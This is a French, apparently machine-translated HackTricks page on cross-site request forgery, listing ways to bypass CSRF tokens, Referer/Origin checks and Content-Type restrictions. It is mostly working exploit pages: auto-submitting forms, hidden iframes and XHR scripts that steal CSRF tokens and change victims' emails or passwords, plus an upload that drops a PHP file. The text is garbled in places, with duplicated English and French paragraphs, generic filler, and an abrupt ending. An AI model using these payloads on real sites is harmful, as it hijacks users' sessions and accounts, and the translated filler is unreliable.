53 KiB
CSRF (Cross Site Request Forgery)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
HackenProof est la plateforme des primes de bugs cryptographiques.
Obtenez des récompenses sans délai
Les primes HackenProof ne sont lancées que lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez la légende du pirate web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof commencez à gagner grâce à vos piratages !
{% embed url="https://hackenproof.com/register" %}
Qu'est-ce que le CSRF ?
La falsification de requête intersite (également connue sous le nom de CSRF) est une vulnérabilité de sécurité web qui permet à un attaquant d'induire les utilisateurs à effectuer des actions qu'ils ne souhaitent pas effectuer.
Cela est réalisé en faisant accéder un utilisateur connecté sur la plateforme victime à un site web contrôlé par l'attaquant et à partir de là, exécuter du code JS malveillant, envoyer des formulaires ou récupérer des "images" sur le compte de la victime.
Prérequis
Pour pouvoir exploiter une vulnérabilité CSRF, vous devez d'abord trouver une action pertinente à exploiter (changer le mot de passe ou l'adresse e-mail, faire en sorte que la victime vous suive sur un réseau social, vous donner plus de privilèges...). La session doit reposer uniquement sur les cookies ou l'en-tête d'authentification de base HTTP, aucun autre en-tête ne peut être utilisé pour gérer la session. Enfin, il ne doit pas y avoir de paramètres imprévisibles dans la requête.
Plusieurs contre-mesures peuvent être mises en place pour éviter cette vulnérabilité.
Défenses courantes
- Cookies SameSite : Si le cookie de session utilise ce drapeau, il se peut que vous ne puissiez pas envoyer le cookie à partir de sites web arbitraires.
- Partage des ressources entre origines : Selon le type de requête HTTP que vous devez effectuer pour exploiter l'action pertinente, vous pouvez prendre en compte la politique CORS du site victime. Notez que la politique CORS n'affectera pas si vous voulez simplement envoyer une requête GET ou une requête POST à partir d'un formulaire et que vous n'avez pas besoin de lire la réponse.
- Demandez le mot de passe de l'utilisateur pour autoriser l'action.
- Résolvez un captcha.
- Lisez les en-têtes Referrer ou Origin. Si une expression régulière est utilisée, elle peut être contournée par exemple avec :
- http://mal.net?orig=http://example.com (se termine par l'URL)
- http://example.com.mal.net (commence par l'URL)
- Modifiez le nom des paramètres de la requête POST ou GET.
- Utilisez un jeton CSRF dans chaque session. Ce jeton doit être envoyé dans la requête pour confirmer l'action. Ce jeton peut être protégé par CORS.
Carte CSRF
Contournement des défenses
Du POST au GET
Peut-être que le formulaire que vous voulez exploiter est préparé pour envoyer une requête POST avec un jeton CSRF mais, vous devriez vérifier si un GET est également valide et si lorsque vous envoyez une requête GET, le jeton CSRF est toujours validé.
Absence de jeton
Certaines applications valident correctement le jeton lorsqu'il est présent mais ignorent la validation si le jeton est omis.
Dans cette situation, l'attaquant peut supprimer le paramètre entier contenant le jeton (pas seulement sa valeur) pour contourner la validation et effectuer une attaque CSRF.
Le jeton CSRF n'est pas lié à la session utilisateur
Certaines applications ne vérifient pas que le jeton appartient à la même session que l'utilisateur qui effectue la requête. Au lieu de cela, l'application maintient un pool global de jetons qu'elle a émis et accepte tout jeton qui apparaît dans ce pool.
Dans cette situation, l'attaquant peut se connecter à l'application en utilisant son propre compte, obtenir un jeton valide, puis transmettre ce jeton à l'utilisateur victime dans son attaque CSRF.
Contournement de la méthode
Si la requête utilise une méthode "étrange", vérifiez si la fonctionnalité de substitution de méthode est active.
Par exemple, si elle utilise une méthode PUT, vous pouvez essayer d'utiliser une méthode POST et envoyer : https://example.com/my/dear/api/val/num?_method=PUT
Cela peut également fonctionner en envoyant le paramètre _method dans une requête POST ou en utilisant les en-têtes :
- X-HTTP-Method
- X-HTTP-Method-Override
- X-Method-Override
Contournement du jeton d'en-tête personnalisé
Si la requête ajoute un en-tête personnalisé avec un jeton à la requête en tant que méthode de protection CSRF, alors :
- Testez la requête sans le jeton personnalisé et également l'en-tête.
- Testez la requête avec un jeton différent mais de même longueur.
Le jeton CSRF est vérifié par un cookie
Dans une variation ultérieure de la vulnérabilité précédente, certaines applications dupliquent chaque jeton dans un cookie et un paramètre de requête. Ou elles définissent un cookie csrf et vérifient en arrière-plan si le jeton csrf envoyé correspond à celui lié au cookie.
Lorsque la requête suivante est validée, l'application vérifie simplement que le jeton soumis dans le paramètre de requête correspond à la valeur stockée par le cookie.
Dans cette situation, l'attaquant peut à nouveau effectuer une attaque CSRF si le site web contient une vulnérabilité qui lui permettrait de définir son cookie CSRF sur la victime comme un CRLF.
Dans ce cas, vous pouvez définir le cookie en essayant de charger une fausse image, puis lancer l'attaque CSRF comme dans cet exemple :
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
{% hint style="info" %} Notez que si le jeton csrf est lié au cookie de session, cette attaque ne fonctionnera pas car vous devrez définir votre session en tant que victime, et vous vous attaquerez donc vous-même. {% endhint %}
Changement de Content-Type
Selon ceci, afin d'éviter les requêtes préliminaires en utilisant la méthode POST, voici les valeurs de Content-Type autorisées :
application/x-www-form-urlencoded
multipart/form-data
text/plain
Cependant, notez que la logique des serveurs peut varier en fonction du Content-Type utilisé, vous devriez donc essayer les valeurs mentionnées ainsi que d'autres comme application/json
,text/xml
, application/xml
.
Exemple (à partir de ici) d'envoi de données JSON en tant que text/plain :
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
Contournement de la requête de pré-vérification pour application/json
Comme vous le savez déjà, vous ne pouvez pas envoyer une requête POST avec le Content-Type application/json
via un formulaire HTML, et si vous essayez de le faire via XMLHttpRequest
, une requête de pré-vérification est envoyée en premier.
Cependant, vous pouvez essayer d'envoyer les données JSON en utilisant les types de contenu text/plain
et application/x-www-form-urlencoded
juste pour vérifier si le backend utilise les données indépendamment du Content-Type.
Vous pouvez envoyer un formulaire en utilisant Content-Type: text/plain
en définissant enctype="text/plain"
Si le serveur n'accepte que le type de contenu "application/json", vous pouvez envoyer le type de contenu "text/plain; application/json" sans déclencher de requête de pré-vérification.
Vous pouvez également essayer de contourner cette restriction en utilisant un fichier flash SWF. Pour plus d'informations, lisez cet article.
Contournement de la vérification du Référent / Origine
Évitez l'en-tête Referer
Certaines applications valident l'en-tête Referer lorsqu'il est présent dans les requêtes, mais passent outre la validation si l'en-tête est omis.
<meta name="referrer" content="never">
Bypasses Regexp
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Pour définir le nom de domaine du serveur dans l'URL que le Référent va envoyer à l'intérieur des paramètres, vous pouvez faire :
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
Contournement de la méthode HEAD
La première partie de ce compte rendu CTF explique que le code source d'Oak, un routeur est configuré pour traiter les requêtes HEAD comme des requêtes GET sans corps de réponse - une solution de contournement courante qui n'est pas propre à Oak. Au lieu d'un gestionnaire spécifique pour les requêtes HEAD, elles sont simplement transmises au gestionnaire GET mais l'application supprime simplement le corps de réponse.
Par conséquent, si une requête GET est limitée, vous pouvez simplement envoyer une requête HEAD qui sera traitée comme une requête GET.
Exemples d'exploitation
Exfiltration du jeton CSRF
Si un jeton CSRF est utilisé comme défense, vous pouvez essayer de l'exfiltrer en exploitant une vulnérabilité XSS ou une vulnérabilité Dangling Markup.
GET en utilisant des balises HTML
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
D'autres balises HTML5 qui peuvent être utilisées pour envoyer automatiquement une requête GET sont :
Requête GET de formulaire
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Requête POST de formulaire
A common method used by web applications to send data to the server is through a form POST request. This type of request is commonly used for actions such as submitting a login form or submitting a contact form.
Une méthode couramment utilisée par les applications web pour envoyer des données au serveur est la requête POST de formulaire. Ce type de requête est généralement utilisé pour des actions telles que la soumission d'un formulaire de connexion ou la soumission d'un formulaire de contact.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
Requête POST de formulaire via iframe
One common technique used in Cross-Site Request Forgery (CSRF) attacks is to submit a form through an iframe. This technique allows an attacker to trick a user into unknowingly submitting a form on a vulnerable website.
To perform this attack, the attacker first creates a malicious webpage that contains an iframe pointing to the target website's form. The attacker then lures the victim into visiting the malicious webpage.
When the victim visits the malicious webpage, the iframe automatically submits the form on the target website, using the victim's authenticated session. Since the victim is already logged in to the target website, the form submission appears legitimate.
This technique can be particularly effective when combined with social engineering tactics, such as sending the victim a link to the malicious webpage via email or a messaging platform.
To protect against this type of attack, web developers should implement measures such as:
- Implementing anti-CSRF tokens: By including a unique token in each form, developers can ensure that the form submission originated from their website and not from an external source.
- Implementing SameSite cookies: By setting the SameSite attribute to "Strict" or "Lax" for cookies, developers can prevent them from being sent in cross-origin requests, effectively mitigating CSRF attacks.
- Implementing strict referrer policies: By setting the referrer policy to "strict-origin-when-cross-origin" or "same-origin", developers can control how much information is included in the Referer header, reducing the risk of CSRF attacks.
By implementing these security measures, web developers can significantly reduce the risk of CSRF attacks through form POST requests via iframes.
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Requête POST Ajax
An Ajax POST request is a type of HTTP request that is sent asynchronously from a web page to a server using the Ajax technology. It allows the web page to update its content dynamically without having to reload the entire page.
Une requête POST Ajax est un type de requête HTTP qui est envoyée de manière asynchrone depuis une page web vers un serveur en utilisant la technologie Ajax. Cela permet à la page web de mettre à jour son contenu de manière dynamique sans avoir à recharger la page entière.
$.ajax({
url: '/update',
type: 'POST',
data: { name: 'John', age: 30 },
success: function(response) {
console.log('Update successful');
},
error: function(xhr, status, error) {
console.log('Update failed');
}
});
The above code snippet demonstrates an example of an Ajax POST request using jQuery. It sends a POST request to the '/update' endpoint with the data object containing the name and age parameters. If the request is successful, the 'success' callback function is executed, otherwise, the 'error' callback function is executed.
Le code ci-dessus montre un exemple de requête POST Ajax utilisant jQuery. Il envoie une requête POST vers l'endpoint '/update' avec l'objet de données contenant les paramètres name et age. Si la requête est réussie, la fonction de rappel 'success' est exécutée, sinon, la fonction de rappel 'error' est exécutée.
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2"
})
</script>
Requête POST multipart/form-data
When submitting a form on a website, the data is typically sent using the application/x-www-form-urlencoded
format. However, in some cases, the form may require the use of the multipart/form-data
format. This format is commonly used when uploading files or when the form contains binary data.
Lors de la soumission d'un formulaire sur un site web, les données sont généralement envoyées au format application/x-www-form-urlencoded
. Cependant, dans certains cas, le formulaire peut nécessiter l'utilisation du format multipart/form-data
. Ce format est couramment utilisé lors du téléchargement de fichiers ou lorsque le formulaire contient des données binaires.
To craft a multipart/form-data
POST request, you need to include a Content-Type
header with the value multipart/form-data
. Additionally, the request body should be formatted as a series of parts, each representing a form field or file upload.
Pour créer une requête POST multipart/form-data
, vous devez inclure un en-tête Content-Type
avec la valeur multipart/form-data
. De plus, le corps de la requête doit être formaté comme une série de parties, représentant chacune un champ de formulaire ou un téléchargement de fichier.
Each part consists of a set of headers and a body. The headers specify the name of the form field or file, as well as the content type. The body contains the actual data.
Chaque partie est composée d'un ensemble d'en-têtes et d'un corps. Les en-têtes spécifient le nom du champ de formulaire ou du fichier, ainsi que le type de contenu. Le corps contient les données réelles.
Here is an example of a multipart/form-data
POST request:
Voici un exemple de requête POST multipart/form-data
:
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------1234567890
-----------------------------1234567890
Content-Disposition: form-data; name="username"
JohnDoe
-----------------------------1234567890
Content-Disposition: form-data; name="profile_picture"; filename="picture.jpg"
Content-Type: image/jpeg
[Binary data of the image]
-----------------------------1234567890--
In this example, the request is being sent to example.com
with a path of /upload
. The request body consists of two parts: one for the username
form field and another for the profile_picture
file upload. The Content-Disposition
header specifies the name of each part, and the Content-Type
header specifies the type of content.
Dans cet exemple, la requête est envoyée à example.com
avec un chemin /upload
. Le corps de la requête est composé de deux parties : une pour le champ de formulaire username
et une autre pour le téléchargement du fichier profile_picture
. L'en-tête Content-Disposition
spécifie le nom de chaque partie, et l'en-tête Content-Type
spécifie le type de contenu.
By understanding how to craft a multipart/form-data
POST request, you can effectively interact with web forms that require this format.
En comprenant comment créer une requête POST multipart/form-data
, vous pouvez interagir efficacement avec des formulaires web qui nécessitent ce format.
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
Requête POST multipart/form-data v2
In this technique, we will explore how to perform a Cross-Site Request Forgery (CSRF) attack using a multipart/form-data POST request.
Dans cette technique, nous allons explorer comment effectuer une attaque de type Cross-Site Request Forgery (CSRF) en utilisant une requête POST multipart/form-data.
Introduction
CSRF is an attack that tricks the victim into submitting a malicious request. It occurs when a malicious website or application forces a user's browser to perform an unwanted action on a trusted website where the user is authenticated.
Le CSRF est une attaque qui trompe la victime en lui faisant soumettre une requête malveillante. Elle se produit lorsque un site web ou une application malveillante force le navigateur de l'utilisateur à effectuer une action non désirée sur un site web de confiance où l'utilisateur est authentifié.
Exploiting CSRF using multipart/form-data POST request
To exploit CSRF using a multipart/form-data POST request, follow these steps:
Pour exploiter le CSRF en utilisant une requête POST multipart/form-data, suivez ces étapes :
-
Identify the target website: Choose the website where you want to perform the CSRF attack.
-
Identifier le site cible : Choisissez le site web sur lequel vous souhaitez effectuer l'attaque CSRF.
-
Identify the target endpoint: Identify the specific endpoint or URL where the action you want to perform is triggered.
-
Identifier le point d'extrémité cible : Identifiez le point d'extrémité ou l'URL spécifique où l'action que vous souhaitez effectuer est déclenchée.
-
Craft the malicious HTML page: Create an HTML page that contains a form with the necessary fields to perform the action on the target website.
-
Créer la page HTML malveillante : Créez une page HTML qui contient un formulaire avec les champs nécessaires pour effectuer l'action sur le site web cible.
-
Set the form's action attribute to the target endpoint: In the form's HTML code, set the action attribute to the URL of the target endpoint.
-
Définir l'attribut action du formulaire sur le point d'extrémité cible : Dans le code HTML du formulaire, définissez l'attribut action sur l'URL du point d'extrémité cible.
-
Set the form's method attribute to POST: In the form's HTML code, set the method attribute to POST.
-
Définir l'attribut method du formulaire sur POST : Dans le code HTML du formulaire, définissez l'attribut method sur POST.
-
Set the form's enctype attribute to multipart/form-data: In the form's HTML code, set the enctype attribute to multipart/form-data.
-
Définir l'attribut enctype du formulaire sur multipart/form-data : Dans le code HTML du formulaire, définissez l'attribut enctype sur multipart/form-data.
-
Add the necessary form fields: Add the required form fields to perform the action on the target website. These fields should match the expected input of the target endpoint.
-
Ajouter les champs de formulaire nécessaires : Ajoutez les champs de formulaire requis pour effectuer l'action sur le site web cible. Ces champs doivent correspondre à l'entrée attendue par le point d'extrémité cible.
-
Submit the form automatically: Use JavaScript to automatically submit the form when the malicious HTML page is loaded by the victim's browser.
-
Soumettre le formulaire automatiquement : Utilisez JavaScript pour soumettre automatiquement le formulaire lorsque la page HTML malveillante est chargée par le navigateur de la victime.
-
Trick the victim into visiting the malicious HTML page: Send the victim a link or embed the malicious HTML page in a website or email to trick them into visiting it.
-
Tromper la victime pour qu'elle visite la page HTML malveillante : Envoyez à la victime un lien ou intégrez la page HTML malveillante dans un site web ou un e-mail pour la tromper et l'inciter à la visiter.
-
Perform the CSRF attack: When the victim visits the malicious HTML page, their browser will automatically submit the form, triggering the action on the target website.
-
Effectuer l'attaque CSRF : Lorsque la victime visite la page HTML malveillante, son navigateur soumettra automatiquement le formulaire, déclenchant ainsi l'action sur le site web cible.
By exploiting CSRF using a multipart/form-data POST request, an attacker can perform unauthorized actions on a target website, potentially leading to data manipulation, account takeover, or other malicious activities.
En exploitant le CSRF en utilisant une requête POST multipart/form-data, un attaquant peut effectuer des actions non autorisées sur un site web cible, ce qui peut entraîner une manipulation de données, une prise de contrôle de compte ou d'autres activités malveillantes.
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
Requête POST de formulaire à partir d'un iframe
In some cases, you may encounter a scenario where you need to submit a form from within an iframe. This can be useful when performing Cross-Site Request Forgery (CSRF) attacks or when testing the security of a web application.
Dans certains cas, vous pouvez rencontrer un scénario où vous devez soumettre un formulaire à partir d'un iframe. Cela peut être utile lors de l'exécution d'attaques de falsification de requête intersite (CSRF) ou lors de la vérification de la sécurité d'une application web.
To achieve this, you can use JavaScript to programmatically submit the form. Here's an example of how you can accomplish this:
Pour cela, vous pouvez utiliser JavaScript pour soumettre le formulaire de manière programmée. Voici un exemple de la façon dont vous pouvez y parvenir :
<iframe id="myIframe" src="https://www.example.com"></iframe>
<script>
// Get the iframe element
var iframe = document.getElementById('myIframe');
// Access the iframe's document object
var iframeDocument = iframe.contentDocument || iframe.contentWindow.document;
// Access the form element within the iframe
var form = iframeDocument.getElementById('myForm');
// Submit the form
form.submit();
</script>
<iframe id="myIframe" src="https://www.example.com"></iframe>
<script>
// Obtenez l'élément iframe
var iframe = document.getElementById('myIframe');
// Accédez à l'objet document de l'iframe
var iframeDocument = iframe.contentDocument || iframe.contentWindow.document;
// Accédez à l'élément de formulaire dans l'iframe
var form = iframeDocument.getElementById('myForm');
// Soumettez le formulaire
form.submit();
</script>
In this example, we have an iframe with the ID "myIframe" that loads a web page from "https://www.example.com". We then use JavaScript to access the iframe's document object and retrieve the form element with the ID "myForm". Finally, we call the submit()
method on the form to submit it.
Dans cet exemple, nous avons un iframe avec l'ID "myIframe" qui charge une page web à partir de "https://www.example.com". Nous utilisons ensuite JavaScript pour accéder à l'objet document de l'iframe et récupérer l'élément de formulaire avec l'ID "myForm". Enfin, nous appelons la méthode submit()
sur le formulaire pour le soumettre.
Keep in mind that when performing CSRF attacks, you may need to modify the form's input values to carry out the desired action. Additionally, ensure that you have the necessary permissions and legal authorization before conducting any security testing.
N'oubliez pas que lors de l'exécution d'attaques CSRF, vous devrez peut-être modifier les valeurs d'entrée du formulaire pour effectuer l'action souhaitée. De plus, assurez-vous d'avoir les autorisations nécessaires et l'autorisation légale avant de procéder à des tests de sécurité.
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Vol de jeton CSRF et envoi d'une requête POST
To perform a CSRF attack, the first step is to steal the CSRF token from the target website. This token is usually embedded in the HTML source code or included as a cookie. Once the token is obtained, it can be used to craft a malicious POST request.
Pour effectuer une attaque CSRF, la première étape consiste à voler le jeton CSRF du site cible. Ce jeton est généralement intégré dans le code source HTML ou inclus en tant que cookie. Une fois le jeton obtenu, il peut être utilisé pour créer une requête POST malveillante.
To steal the CSRF token, an attacker can use various techniques such as cross-site scripting (XSS) or social engineering. Once the token is obtained, the attacker can then create a form or script that automatically submits a POST request to the target website.
Pour voler le jeton CSRF, un attaquant peut utiliser différentes techniques telles que le cross-site scripting (XSS) ou l'ingénierie sociale. Une fois le jeton obtenu, l'attaquant peut ensuite créer un formulaire ou un script qui soumet automatiquement une requête POST au site cible.
The POST request can be crafted to perform any action that the target website allows, such as changing account settings, making purchases, or deleting data. By tricking the victim into visiting a malicious website or clicking on a malicious link, the attacker can execute the CSRF attack and perform unauthorized actions on behalf of the victim.
La requête POST peut être créée pour effectuer n'importe quelle action autorisée par le site cible, telle que la modification des paramètres du compte, les achats ou la suppression de données. En trompant la victime pour qu'elle visite un site Web malveillant ou qu'elle clique sur un lien malveillant, l'attaquant peut exécuter l'attaque CSRF et effectuer des actions non autorisées au nom de la victime.
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
Vol de jeton CSRF et envoi d'une requête POST à l'aide d'un iframe, d'un formulaire et d'Ajax
L'une des méthodes couramment utilisées pour exploiter une vulnérabilité de falsification de requête intersite (CSRF) consiste à voler le jeton CSRF d'un utilisateur légitime et à l'utiliser pour envoyer une requête POST malveillante. Cette attaque peut être réalisée en utilisant un iframe, un formulaire ou Ajax.
1. Vol du jeton CSRF
Pour voler le jeton CSRF, l'attaquant peut utiliser différentes techniques, telles que l'inclusion de contenu intersite (XSS) ou l'exploitation de vulnérabilités de script côté client. Une fois que l'attaquant a réussi à obtenir le jeton CSRF de l'utilisateur légitime, il peut l'utiliser pour effectuer des actions non autorisées en son nom.
2. Envoi d'une requête POST avec un iframe
L'attaquant peut utiliser un iframe pour envoyer une requête POST avec le jeton CSRF volé. L'iframe peut être caché ou rendu invisible pour que l'utilisateur ne le remarque pas. L'URL de l'iframe doit être configurée pour envoyer la requête POST à la cible souhaitée, en incluant le jeton CSRF dans les données de la requête.
<iframe style="display:none" src="https://www.example.com/action" onload="submitForm()"></iframe>
<script>
function submitForm() {
var form = document.createElement("form");
form.method = "POST";
form.action = "https://www.example.com/action";
var csrfToken = document.createElement("input");
csrfToken.type = "hidden";
csrfToken.name = "csrf_token";
csrfToken.value = "valeur_du_jeton_csrf";
form.appendChild(csrfToken);
document.body.appendChild(form);
form.submit();
}
</script>
3. Envoi d'une requête POST avec un formulaire
Une autre méthode consiste à utiliser un formulaire pour envoyer une requête POST avec le jeton CSRF volé. L'attaquant peut créer un formulaire caché et le soumettre automatiquement à l'aide de JavaScript.
<form id="csrfForm" style="display:none" method="POST" action="https://www.example.com/action">
<input type="hidden" name="csrf_token" value="valeur_du_jeton_csrf">
</form>
<script>
document.getElementById("csrfForm").submit();
</script>
4. Envoi d'une requête POST avec Ajax
L'attaquant peut également utiliser Ajax pour envoyer une requête POST avec le jeton CSRF volé. L'URL de la requête Ajax doit être configurée pour envoyer la requête POST à la cible souhaitée, en incluant le jeton CSRF dans les données de la requête.
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.example.com/action", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("csrf_token=valeur_du_jeton_csrf");
Il est important de noter que ces méthodes ne fonctionneront que si l'attaquant a réussi à voler le jeton CSRF de l'utilisateur légitime. Par conséquent, il est essentiel de mettre en place des mesures de sécurité appropriées pour protéger les jetons CSRF et prévenir les attaques CSRF.
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
Vol de jeton CSRF et envoi d'une requête POST à l'aide d'un iframe et d'un formulaire
To perform a Cross-Site Request Forgery (CSRF) attack, an attacker needs to steal the victim's CSRF token and use it to send unauthorized requests on behalf of the victim. One way to achieve this is by using an iframe and a form.
Pour effectuer une attaque de falsification de requête entre sites (CSRF), un attaquant doit voler le jeton CSRF de la victime et l'utiliser pour envoyer des requêtes non autorisées au nom de la victime. Une façon d'y parvenir est d'utiliser un iframe et un formulaire.
-
The attacker creates a malicious webpage that contains an iframe pointing to the target website.
L'attaquant crée une page web malveillante contenant un iframe pointant vers le site cible.
<iframe src="https://www.target-website.com"></iframe>
-
The attacker also includes a hidden form within the iframe, pre-filled with the victim's CSRF token and the desired malicious action.
L'attaquant inclut également un formulaire caché dans l'iframe, pré-rempli avec le jeton CSRF de la victime et l'action malveillante souhaitée.
<form action="https://www.target-website.com/action" method="POST"> <input type="hidden" name="csrf_token" value="victim-csrf-token"> <input type="hidden" name="malicious_action" value="perform-malicious-action"> </form>
-
When the victim visits the attacker's webpage, the iframe loads the target website, and the hidden form is automatically submitted.
Lorsque la victime visite la page web de l'attaquant, l'iframe charge le site cible et le formulaire caché est automatiquement soumis.
-
Since the form is submitted within the context of the target website, the victim's browser includes the victim's CSRF token in the request, making it appear as a legitimate request.
Étant donné que le formulaire est soumis dans le contexte du site cible, le navigateur de la victime inclut le jeton CSRF de la victime dans la requête, ce qui la rend semblable à une requête légitime.
-
The target website processes the request, unaware that it was initiated by the attacker, and performs the malicious action on behalf of the victim.
Le site cible traite la requête, sans se rendre compte qu'elle a été initiée par l'attaquant, et effectue l'action malveillante au nom de la victime.
By exploiting CSRF vulnerabilities, attackers can trick users into unknowingly performing actions on websites they trust. To protect against CSRF attacks, web developers should implement measures such as using CSRF tokens, checking the origin of requests, and implementing strict access controls.
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
Vol de jeton et envoi via 2 iframes
